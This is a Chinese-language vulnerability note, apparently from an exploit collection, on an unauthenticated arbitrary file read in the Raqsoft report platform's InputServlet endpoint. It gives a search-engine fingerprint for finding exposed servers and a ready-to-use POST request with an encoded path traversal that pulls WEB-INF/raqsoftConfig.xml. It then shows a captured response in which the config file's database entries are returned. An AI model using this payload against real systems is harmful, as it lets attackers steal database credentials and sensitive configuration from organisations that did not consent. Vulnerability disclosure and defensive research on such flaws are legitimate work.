R15-1润乾报表-企业级报表工具-任意文件读取

漏洞描述：

润乾报表平台 InputServlet 接口存在任意文件未经漏洞，未经身份攻击者可通过该漏洞读取系统内部配置文件及敏感数据凭证，使系统处于极不安全状态

网站图片：

网络测绘：

Hunter 语法：

鹰图指纹：app.name="润乾报表平台"

漏洞复现：

payload：

```
POST /InputServlet?action=13 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: application/x-www-form-urlencoded
Connection: close

file=%2F%5C..%5C%5C..%5C%5CWEB-INF%5C%5CraqsoftConfig.xml&upFileName=web.config
```

效果图:

Request

数据包扫描 美化 热加载 构造请求

```
POST /InputServlet?action=13 HTTP/1.1
Host : [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: application/x-www-form-urlencoded
Connection: close

file=%2F%5C..%5C%5C..%5C%5CWEB-INF%5C%5CraqsoftConfig.xml&upFileName=web.config
```

Responses 6461bytes / 6ms

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=5770621F5
Content-Disposition: attachment;
Content-Type: application/x-down
Date: Mon, 15 Apr 2024 04:50:09
Connection: close
Content-Length: 6461

<?xml version="1.0" encoding="UT
<Config Version="2">
    <Runtime>
        <DBList encryptLevel="0"
            <DB name="demo">
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
                <property name="
```